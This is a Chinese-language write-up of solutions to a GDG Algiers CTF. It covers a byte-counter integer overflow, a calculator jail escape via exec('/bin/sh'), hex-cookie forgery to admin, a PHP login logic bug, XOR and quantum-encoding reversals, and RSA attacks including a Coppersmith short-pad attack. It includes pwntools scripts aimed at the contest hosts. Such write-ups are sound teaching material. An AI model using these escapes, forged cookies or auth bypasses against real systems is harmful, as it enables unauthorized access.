pwn-counter
作出来的基本都是入门题,这题给了源码,有3个功能1是counter++,2是counter--,但到1就不再减,3是给flag但要求counter==0。由于counter是字节型的,直接加255将就会变成0
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <errno.h>
#define NUM_BUF_SIZE 24
#define STRTOUL_BASE 10
void flag(void);
void disable_buffering(void);
void input_str(char *msg, char *str, size_t size);
unsigned long get_num(char *msg);
void flag(void) {
system("cat flag.txt");
}
int main(int argc, char *argv[])
{
unsigned char counter = 1;
disable_buffering();
while (true) {
printf("Counter: %d\n", counter);
puts("1) ++");
puts("2) --");
puts("3) Flag");
puts("0) Exit");
switch (get_num("Choice: ")) {
case 1:
counter++;
break;
case 2:
if (counter > 1) {
counter--;
}
break;
case 3:
if (counter == 0) {
flag();
} else {
puts("No.");
}
break;
case 0:
puts("Bye!");
default:
fprintf(stderr, "Invalid option\n");
break;
}
putchar('\n');
}
return EXIT_SUCCESS;
}
void disable_buffering(void)
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void input_str(char *msg, char *str, size_t size)
{
ssize_t num_bytes;
fputs(msg, stdout);
num_bytes = read(STDIN_FILENO, str, size - 1);
if (num_bytes == -1) {
perror("read");
exit(EXIT_FAILURE);
} else {
str[num_bytes] = '\0';
}
return;
}
unsigned long get_num(char *msg)
{
char str[NUM_BUF_SIZE] = { '\0' };
char *endptr = NULL;
unsigned long num;
input_str(msg, str, NUM_BUF_SIZE);
num = strtoul(str, &endptr, STRTOUL_BASE);
if (errno == ERANGE) {
perror("strtoul");
exit(EXIT_FAILURE);
}
return num;
}
WP,其实可以不写程序,但手工还是太慢了。
from pwn import *
p = remote('pwn.chal.ctf.gdgalgiers.com', 1402)
context(arch='amd64', log_level='debug')
for i in range(255):
p.sendlineafter(b'Choice: ',b'1')
p.sendline(b'3')
p.recvall()
#CyberErudites{1NtegeR_0v3rfloWS_ar3_Na$ty}
jail-Red Diamond
这种题型第1次见,应该是越狱吧,直接给了远端其它什么都没有,直接登上去,发现可以exec
┌──(kali㉿kali)-[~/ctf/notes_keeper]
└─$ nc -v jail.chal.ctf.gdgalgiers.com 1303
DNS fwd/rev mismatch: jail.chal.ctf.gdgalgiers.com != 90.161.154.34.bc.googleusercontent.com
jail.chal.ctf.gdgalgiers.com [34.154.161.90] 1303 (?) open
> Welcome to my personal calculator
> To end the program type EXIT
OPERATION : exec('/bin/sh')
ls
chall.rb
entrypoint.sh
flag.txt
cat flag.txt
CyberErudites{I_Th0ugh7_CAlcul4t0rs_C4n_OnlY_b3_eXploited_in_PYY}
web-cookauth
一般情况下是不作web题的,因为不会,但50分的题出来还可以看看,点出链接发现有admin,再点进去提示
Nope, must be the admin
结合名字cook auth,进开发者模式,找里边的cookie,发现一个叫_info_user的cookie
>>> bytes.fromhex('7b2275736572223a20226775657374227d')
b'{"user": "guest"}'
改为 admin
>>> b'{"user": "admin"}'.hex()
'7b2275736572223a202261646d696e227d'
web-ezphp
这个源码有个BUG,很明显的逻辑问题,应该用或 ||而用了与&&,也就是说不成功也行
<?php
session_start();
include "flag.php";
if (!isset($_GET["login"]) || !isset($_GET["pass"]))
die(show_source(__FILE__));
if ($_SESSION["admin"] == 1)
echo $FLAG;
$login = $_GET["login"];
$password = $_GET["pass"];
$_SESSION["admin"] = 1;
if ($login !== "admin" && md5($password) !== "117080b3bcbd07588b4df032280f46a5")
{
echo "Wrong password\n";
$_SESSION["admin"] = 0;
}
?>
1
然后刷新两次(第1次=1,第2次得到flag)
misc-Kvant
啥意思不清楚,看上去是说一个量子计算机,加密分3次第1次单字节第2次双字节然后3字节,显然这种加密前后无关可以爆。
然后下了qiskit试,发现1字节就是把0,1变成01,10,两字节就是把00,01,10,11变为1000,0001,... 这样就可以直接查字典逆回来,显然它不是加密是编码。直接在原文上改了就。
不过后边有个小坑,前两天刚弄过,也不难。得到str时由于里边有0x80分导致自动用utf-8编码成c280,是不是作者在吐槽python的bytes<->str,反正python强制引入后很烦人。
对于密文,由于所有码都是1个1,7个0,导致编码后只有80会被编为c280,把enc.txt里的c2删掉就OK了。没有C2就str直接读不出来了,改用bytes,强烈建议数据操作时用bytes绕过str的utf8。
from qiskit import QuantumCircuit, assemble, Aer
sim = Aer.get_backend('aer_simulator')
def get_state(x):
l = [0]* 2**len(x)
l[int(x,2)] = 1
return l
def str2bin(s):
return ''.join(bin(ord(i))[2:].zfill(8) for i in s)
def bin2str(a):
return ''.join(chr(int(a[i:i+8],2)) for i in range(0,len(a),8))
def encode_1(initial_state):
qc = QuantumCircuit(1)
qc.initialize(initial_state)
qc.x(0)
qc.save_statevector()
qobj = assemble(qc)
state = sim.run(qobj).result()
return list(state.get_statevector().real.astype(int))
def encode_2(initial_state):
qc = QuantumCircuit(2)
qc.initialize(initial_state)
qc.cx(0,1)
qc.save_statevector()
qobj = assemble(qc)
state = sim.run(qobj).result()
return list(state.get_statevector().real.astype(int))
def encode_3(initial_state):
qc = QuantumCircuit(3)
qc.initialize(initial_state)
qc.ccx(0,1,2)
qc.save_statevector()
qobj = assemble(qc)
state = sim.run(qobj).result()
return list(state.get_statevector().real.astype(int))
def encrypt_1(word):
enc = ""
for _ in range(len(word)):
st = get_state(word[_])
enc+= ''.join(str(x) for x in encode_1(st))
return enc
def encrypt_2(word):
enc = ""
for _ in range(0,len(word),2):
st = get_state(word[_:_+2])
enc+= ''.join(str(x) for x in encode_2(st))
return enc
def encrypt_3(word):
enc = ""
for _ in range(0,len(word),3):
st = get_state(word[_:_+3])
enc+= ''.join(str(x) for x in encode_3(st))
return enc
'''
with open("flag.txt","r") as f:
flag = f.read()
flag = 'C'
flag = str2bin(flag)
enc_1 = encrypt_1(flag)
enc_2 = encrypt_2(enc_1)
enc_3 = encrypt_3(enc_2)
with open("test.txt","w") as f:
f.write(bin2str(enc_3))
'''
ol = ['0','1']
dic1 = {}
for i in ol:
dic1[encrypt_1(i)]=i
dic2 = {}
for i in ol:
for j in ol:
dic2[encrypt_2(i+j)] = i+j
dic3 = {}
for i in ol:
for j in ol:
for k in ol:
dic3[encrypt_3(i+j+k)] = i+j+k
print(dic1, dic2, dic3)
data = open('enc2.txt', 'rb').read()
data = ''.join([bin(i)[2:].zfill(8) for i in data])
data = ''.join([ dic3[data[i:i+8]] for i in range(0, len(data), 8) ])
data = ''.join([ dic2[data[i:i+4]] for i in range(0, len(data), 4) ])
data = ''.join([ dic1[data[i:i+2]] for i in range(0, len(data), 2) ])
print(bin2str(data))
#CyberErudites{W3lc0m3_7o_th3_w0rld_0f_Qu4ntum_C0mput1ng!}
reverse-traditions
这个直接给两个串异或
a = [86,232,72,60,0,91,171,127,210,152,94,223,44,29,52,32,16,180,189,125,242,136,253,98,237,70,164,122,5,15,245,91,247,61,151,247,152,66,119,107,218,213,74,7,242,126,39,2]
c = [21,145,42,89,114,30,217,10,182,241,42,186,95,102,112,97,79,247,209,73,214,172,180,33,178,30,148,40,90,87,170,21,199,10,200,163,240,118,3,52,136,225,36,99,194,19,90,2]
bytes([a[i]^c[i] for i in range(48)])
#CyberErudites{DA_Cl4$$IC_X0R_X_N07_Th4t_R4nd0m}
reverse-impossible_challenge
v11[0] = 6;
v11[1] = 60;
v11[2] = 39;
v11[3] = 32;
v11[4] = 55;
v11[5] = 0;
v11[6] = 55;
v11[7] = 48;
v11[8] = 33;
v11[9] = 44;
v11[10] = 49;
v11[11] = 32;
v11[12] = 54;
v11[13] = 62;
v11[14] = 97;
v11[15] = 32;
v11[16] = 0;
v11[17] = 26;
v11[18] = 43;
v11[19] = 10;
v11[20] = 49;
v11[21] = 45;
v11[22] = 12;
v11[23] = 11;
v11[24] = 2;
v11[25] = 26;
v11[26] = 12;
v11[27] = 97;
v11[28] = 26;
v11[29] = 116;
v11[30] = 40;
v11[31] = 53;
v11[32] = 42;
v11[33] = 97;
v11[34] = 97;
v11[35] = 44;
v11[36] = 7;
v11[37] = 41;
v11[38] = 32;
v11[39] = 56;
dest = 0;
v10 = 69;
for ( i = 0; i <= 39; ++i )
{
src = LOBYTE(v11[i]) ^ v10;
strncat(&dest, &src, 1uLL);
}
数都给了,直接异或
a = [6,60,39,32,55,0,55,48,33,44,49,32,54,62,97,32,0,26,43,10,49,45,12,11,2,26,12,97,26,116,40,53,42,97,97,44,7,41,32,56]
v10 = 69
print(bytes([i^69 for i in a]))
crypto-eXORcist
输入一个key然后由这个key与flag异或,问题在于输出的时候作了个encode(),这样会被utf-8编码,好恶心。
#!/usr/bin/env python3
# Crypto challenge of eXORciste
import os
#from flag import FLAG
FLAG = b'xxxxxxxxxxxxxxxxxxxx'
import random
def xor(message, key):
return ''.join([chr(m^k) for m,k in zip(message, key)] )
def generate_key(length):
random_seed = os.urandom(16)
key = random_seed * (length //16) + random_seed[:(length % 16)]
return key
def main():
print("Hello Stranger, send me your secret and I will make sure to roll it up")
while True:
message = input('>> ').encode()
print(len(message))
if len(message)<20:
print('That is not a secret man!')
exit()
key = generate_key(len(message))
print(key)
offset = random.randint(0, len(message))
print(offset)
cipher = xor(message[:offset]+FLAG+message[offset:], key)
print("> "+ cipher.encode().hex())
if __name__ == "__main__":
main()
直接先进行utf-8还原,再异或
1,由于并没有中文,编码最多是两字节的,将两字节的负载直接取出即可。
2,zip进行xor里,返回的长度为最短的长度,key并不循环,直接用pwntools里的xor
3,encode并不是一定要编成两字节,仅当最高位为1时才编,所以一开始的时候可以多试几将就通过得到的未编码片断猜到flag,不过后来网站改了,所有字符都会高位为1,不再显示片段。
from pwn import *
p = remote('crypto.chal.ctf.gdgalgiers.com', 1002)
for i in range(1):
p.sendlineafter(b'>> ', b'0'*320)
p.recvuntil(b'> ')
cipher = bytes.fromhex(p.recvline()[:-1].decode())
c = cipher.decode('utf-8')
v = []
for i in c:
t = i.encode()
if len(t) == 1:
v.append(t[0])
else:
t0 = (t[0] & 0x3)<<6
v.append((t[1]&0x3f) + t0)
c = bytes(v)
key = xor(c[:16],b'0'*16)
m = xor(c, key)
print(m)
# CyberErudites{Y0u_kn0w_h0w_T0_XOR}
'''
b'0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000CyberErudites{Y0u_kn0w_h0w_T0_XOR}0000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000'
'''
crypto-The_Messager
按字符RSA加密,所以并不需要解密,只需要一个个试就可以
from Crypto.Util.number import bytes_to_long, getStrongPrime
from math import gcd
from flag import FLAG
from Crypto.Random import get_random_bytes
def encrypt(m):
return pow(m,e,N)
e = 65537
p = getStrongPrime(512)
q = getStrongPrime(512)
# generate secure keys
result = 0
while (result !=1):
p = getStrongPrime(512)
q = getStrongPrime(512)
result = gcd(e,(p-1)*(q-1))
N = p * q
print("N = " + str(N))
print("e = " + str(e))
ct= []
for car in FLAG:
ct.append(encrypt(car))
print("ct = "+str(ct))
WP
from values import *
flag = ''
for c in ct:
for i in range(0x21,0x7f):
if pow(i,e,N) == c:
flag += chr(i)
break
print(flag)
#CyberErudites{RSA_1S_S1MPL3}
crypto-franklin-last-words
跟上题基本一样,只是加密里e=3,并且取了一个很大的m,由m+pow(i,3,N)加密,
from Crypto.Util.number import bytes_to_long, getStrongPrime
from math import gcd
from flag import FLAG
from Crypto.Random import get_random_bytes
def encrypt_message(m):
return pow(m,e,N)
def advanced_encrypt(a,m):
return encrypt_message(pow(a,3,N)+(m << 24))
e = 3
p = getStrongPrime(512)
q = getStrongPrime(512)
# generate secure keys
result = 0
while (result !=1):
p = getStrongPrime(512)
q = getStrongPrime(512)
result = gcd(e,(p-1)*(q-1))
N = p * q
print("N = " + str(N))
print("e = " + str(e))
rand = bytes_to_long(get_random_bytes(64))
ct = []
ct.append(encrypt_message(rand << 24))
for car in FLAG:
ct.append(advanced_encrypt(car,rand))
print("ct = "+str(ct))
这里e很小,各个M之间相差也很小,正好适合短填充攻击。先用短填充模板得到m
def short_pad_attack(c1, c2, e, n):
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+y)^e - c2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
kbits = n.nbits()//(2*e*e)
diff = h.small_roots(X=2^kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5
return diff
def related_message_attack(c1, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
if __name__ == '__main__':
n = 128704452311502431858930198880251272310127835853066867118127724648453996065794849896361864026440048456920428841973494939542251652347755395656512696329757941393301819624888067640984628166587498928291226622894829126692225620665358415985778838076183290137030890396001916620456369124216429276076622486278042629001
e = 3
# nbits = n.nbits()
# kbits = nbits//(2*e*e)
# print ("upper %d bits (of %d bits) is same" % (nbits-kbits, nbits))
# ^^ = bit-wise XOR
# http://doc.sagemath.org/html/en/faq/faq-usage.html#how-do-i-use-the-bitwise-xor-operator-in-sage
# m1 = randrange(2^nbits)
# m2 = m1 ^^ randrange(2^kbits)
# c1 = pow(m1, e, n)
# c2 = pow(m2, e, n)
c1 = 21340757543584301785921441484183053451553315439245254915339588451884106542258661009436759738472587801036386643847752005362980150928908869053740830266273664899424683013780904331345502086236995074501779725358484854206059302399319323859279240268722523450455802058257892548941510959997370995292748578655762731064
c2 = 53066819955389743890197631647873076075338086201977617516688228878534943391813622173359672220491899999289257725082621279332126787067021987817619363964027754585057494857755310178293620211144789491527192983726079040683600073569676641124270473179040250808117008272524876858340200385005503388452491343904776677382
diff = short_pad_attack(c1, c2, e, n)
print ("difference of two messages is %d" % diff)
#print (m1)
m1 = related_message_attack(c1, c2, diff, e, n)
print (m1)
#print (m2)
print (m1 + diff)
'''
difference of two messages is 300763
166948911880587234600972597325398559800623586442106754544249387904660171481281804594820145380464642946591165741209919048255667796045110331101490851949349850578944
166948911880587234600972597325398559800623586442106754544249387904660171481281804594820145380464642946591165741209919048255667796045110331101490851949349850879707
'''
得到m和两个差300763正好是flag第1个字符C的3将幂
然后爆破即可
from message import *
#由于c0,c1只相关 ord('C')**3 = 300763 非常小,用短填充攻击求m
m = 166948911880587234600972597325398559800623586442106754544249387904660171481281804594820145380464642946591165741209919048255667796045110331101490851949349850578944
#再逐个爆破字母
flag = ''
for i in range(1,len(ct)):
for j in range(0x21,0x7f):
v = pow(pow(j,3,N)+m, 3, N)
if v == ct[i] :
flag += chr(j)
break
print(flag)
#CyberErudites{Fr4nkl1n_W3_n33d_an0th3R_S3450N_A54P}